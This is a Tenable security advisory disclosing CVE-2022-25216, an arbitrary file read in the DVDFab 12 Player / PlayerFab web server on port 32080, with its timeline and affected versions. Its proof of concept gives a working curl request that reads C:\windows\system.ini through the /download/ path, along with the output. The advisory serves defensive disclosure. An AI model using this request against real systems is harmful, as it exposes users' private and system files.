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Vulnerability in DVDFab Player Permits Attacker to Read Arbitrary Files in Windows Filesystem

High

Synopsis

Arbitrary File Read in DVDFab 12 Player / PlayerFab

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5/7.3)

The DVDFab 12 suite contains an application called DVDFab Player (or, as it has very recently been renamed, "PlayerFab"), which serves a browseable media library over HTTP on port 32080. If the client opts to download the debuging log, the HTML user interface will issue a request that specifies the path to the log file. This path can easily be changed by the user either by tampering with the browser's request, or by issuing an HTTP GET request that directly specifies the name of the desired file.

Proof of Concept

In place of C%3a%2fwindows%2fsystem.ini, the attacker may supply any other URL-encoded path to a file on the system for which the user running the DVDFab Player / PlayerFab application has read access.


$ curl "http://10.3.2.104:32080/download/C%3a%2fwindows%2fsystem.ini"  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON[drivers]  
wave=mmdrv.dll  
timer=timer.drv[mci]

Solution

DVDFab has not responded to our attempts to bring this vulnerability to their attention, and so, to the best of our knowledge, there is no reason to expect that a patch is forthcoming.

Disclosure Timeline

December 7, 2021: Vendor notified through "contact us" form on website
December 15, 2021: Vendor notified by email
December 23, 2021: Third attempt made to contact vendor, by email
February 7, 2022: Fourth attempt made to contact vendor, by website

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2022-25216
Tenable Advisory ID
TRA-2022-07
Credit

Olivia Lucca Fraser

Affected Products
DVDFab 12 Player versions 6.2.1.0 - 6.2.1.1
PlayerFab 7.0.0.0 - 7.0.0.5
Risk Factor
High

Advisory Timeline

March 11, 2022 - Initial release
March 15, 2022 - Corrected advisory timeline and severity
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